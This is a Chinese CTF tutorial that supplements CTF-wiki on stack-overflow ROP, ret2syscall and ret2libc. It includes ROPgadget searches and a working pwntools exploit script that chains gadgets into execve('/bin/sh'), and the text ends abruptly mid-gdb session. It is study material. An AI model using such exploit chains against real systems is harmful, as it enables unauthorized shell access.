本文主要对CTF-wiki上的PWN部分进行一些补充解释,以便入门同志参考
主要内容来自https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#3
`基本知识
ROP
Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
一般的栈结构:
高地址 +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
低地址 esp-->+-----------------+
Gadgets
以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行
ret指令可以理解成取栈顶的数据作为下次跳转的位置。即,
-
eip = [esp];
-
esp = esp+4;
ret 修改eip 和 esp的值
或者简单理解成: pop eip; (pop指令会附加esp的移动,意思是取栈顶的数据作为下次跳转的位置)然后执行 jump
相比之下,call指令即 :push eip;(此时eip为call指令的下一条指令的地址,意思是将call指令的下一条指令地址压入栈) 然后 jump
函数返回时通常会执行下列指令
mov esp ,ebp
pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret 使eip变为返回地址,然后jmp
ret2syscall
Linux系统调用的实现
Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:
- 应用程序调用库函数(API);
- API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
- 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
- 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
- 中断处理函数返回到 API 中;
- API 将 EAX 返回给应用程序。
应用程序调用系统调用的过程是:
- 把系统调用的编号存入 EAX;
- 把函数参数存入其它通用寄存器;
- 触发 0x80 号中断(int 0x80)。
Syscall的函数调用规范为:execve(“/bin/sh”, 0,0)
;
所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0
它对应的汇编代码为:
pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80
应用实例
应用实例可参考ret2syscall
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。
比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
步骤
$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax' //search eax
0x080bb196 : pop eax ; ret
$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' //search ebx\edx\ecx
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
$ROPgadget --binary rop --string '/bin/sh' //search 'bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
$ROPgadget --binary rop --only 'int' // search int 0x80
Gadgets information
============================================================
0x08049421 : int 0x80
以上我们就找到了需要的gadgets:
下面就是对应的 payload
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) ##
sh.sendline(payload)
sh.interactive()
将payload写入后,执行流程如下
执行 mov esp , ebp & pop ebp之后,esp指向address of (pop eax & ret)
high address | int 80 |
---|---|
‘/bin/sh’ | |
0 | |
0 | |
pop_edx_ecx_ebx_ret | |
b | |
esp-> | address of (pop eax & ret) |
AAAA | |
AA… |
执行 ret指令,eip指向 address of (pop eax & ret),同时,esp指向0xb
high address | int 80 |
---|---|
‘/bin/sh’ | |
0 | |
0 | |
pop_edx_ecx_ebx_ret | |
esp-> | b |
address of (pop eax & ret) | |
AAAA | |
AA… |
然后CPU执行 pop eax,此时将0xb赋值给eax, 同时esp上移
再执行ret指令,将esp的内容给eip,CPU执行pop_edx_ecx_ebx_ret
high address | int 80 |
---|---|
‘/bin/sh’ | |
0 | |
0 | |
esp-> | pop_edx_ecx_ebx_ret |
b | |
address of (pop eax & ret) | |
AAAA | |
AA… |
以此类推,直至完成
ret2libc
原理
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
r2libc技术是一种缓冲区溢出利用技术,主要用于克服常规缓冲区溢出漏洞利用技术中面临的no stack executable限制(所以后续实验还是需要关闭系统的ASLR,以及堆栈保护),比如PaX和ExecShield安全策略。该技术主要是通过覆盖栈帧中保存的函数返回地址(eip),让其定位到libc库中的某个库函数(如,system等),而不是直接定位到shellcode。然后通过在栈中精心构造该库函数的参数,以便达到类似于执行shellcode的目的。但是该方案是基于system函数实现的,且在一次攻击中只执行一个libc函数,局限性较大,另外system函数有一个致命的缺陷就是:有时候我们并不能利用它成功获取root权限。
因为system函数本质上就是通过fork一个子进程,然后该子进程通过系统自带的sh执行system的命令。而在某些系统中,在启动新进程执行sh命令的时候会将它的特权给剔除掉(如果/bin/sh指向zsh,则不会进行权限降低;如果/bin/sh指向bash则会进行权限降低),这样我们system就无法获取root权限了。
ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个),libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell, 如此就只剩下两个问题:
1、找到 system() 函数的地址;
2、在内存中找到 “/bin/sh” 这个字符串的地址。
r2libc技术原理简要概括如下:https://wooyun.js.org/drops/return2libc%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.html
payload的典型格式为:【合适大小的溢出字符串】+【system函数地址】+【system函数的返回地址】+【system函数参数】
- 使用libc库中system函数的地址覆盖掉原本的返回地址;这样原函数返回的时候会转而调用system函数。
获取system函数的返回地址很简单,只需要使用gdb调试目标程序,在main函数下断点,程序运行中断在断点处后,使用p system
命令即可:
#!bash
>>> p system
$1 =